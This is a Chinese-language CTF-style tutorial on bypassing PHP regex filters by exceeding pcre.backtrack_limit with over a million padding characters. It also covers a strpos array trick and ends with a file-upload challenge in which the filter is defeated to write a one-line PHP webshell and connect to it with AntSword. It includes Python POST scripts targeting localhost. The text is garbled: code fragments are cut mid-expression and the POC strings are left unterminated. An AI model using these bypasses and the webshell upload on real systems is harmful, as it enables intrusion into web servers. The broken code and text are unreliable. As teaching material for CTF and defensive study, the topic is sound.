目录
一、正则表达式概述
有限状态自动机
匹配输入的过程分别是:
DFA(确定性有限状态自动机)
NFA(非确定性有限状态自动机)
二、回溯的过程
三、 PHP 的 pcre.backtrack_limit 限制利用
例题一
回溯绕过步骤 :
1、运行结果: 可见无法匹配
2、尝试匹配:依旧无法匹配
3、再次尝试:发现拿到匹配结果
原因:
总结:
1、绕过该正则
例题二
1、利用python语言编写回溯绕过一百万次的脚本
回溯过程模拟:
例题三
文件上传漏洞
1、编写文件上传脚本
2、上传任意一个文件
3、正则回溯
编写回溯脚本
查看并执行python代码是否成功
temp文件出现
使用中国蚁剑进行连接测试
正则表达式是一个可以被 “有限状态自动机”接受的语言类。
其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。
从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
].*/is', $data);
}
题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是
回溯过程
在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。
所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……
最终直到吐出;,输入变成第 12 步显示的 ] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。
在调试正则表达式的时候,我们可以查看当前回溯的次数
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:
回溯次数上限默认是 100 万
回溯次数超过了 100 万,返回的非 1 和 0,是 false。
preg_match 返回的非 1 和 0,而是 false。
preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制
所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。
对应的 POC 如下:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa
均存在上述问题,通过大量回溯可以进行绕过。
这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:
.+? 匹配到/ 因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配* S 匹配*失败,回溯,再由.+? 匹配* 因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 a S 匹配 a 失败,回溯,再由.+? 匹配 a ... 回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:
此时greeting传递的是数组,元素是123,而 strpos验证的是字符串
由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL
将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。
当只有一个 = bool(false),返回值为false,程序执行结束
当有两个 == 时,返回值为true,程序继续执行
松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较
0 == false: bool(true) 0 === false: bool(false) 0 == null: bool(true) 0 === null: bool(false) false == null: bool(true) false === null: bool(false) "0" == false: bool(true) "0" === false: bool(false) "0" == null: bool(false) "0" === null: bool(false) "" == false: bool(true) "" === false: bool(false) "" == null: bool(true) "" === null: bool(false)
插入代码:
greeting[]=123;
此时绕过第一个正则
接着会返回
null !== false;
根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行
思路: 只要将if(!areyouok($greeting))为假,并且含有‘Merry Christmas’字符,回溯一百万次即可绕过
from requests import post
payload = {
'greeting' : 'Merry Christmas' + 'a' * 1000001
}
url = 'http://127.0.0.1/xss_location/dem04.php'
res = post(url ,data=payload)
回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成
正则回溯实例
].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
exit("bad request");
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . 'oupeng.php';
//利用move_uploaded_file将临时文件,复制到$path
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
?>
"; //设置输出为格式化输出
var_dump($_FILES);
Xss-filter
注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除
可以通过设置睡眠时间来将临时文件tmp抓到
"; //设置输出为格式化输出
var_dump($_FILES);
from requests import post
files = {
'file' : r'
此时,一句话木马已经写入
连接成功,此时已经绕过漏洞。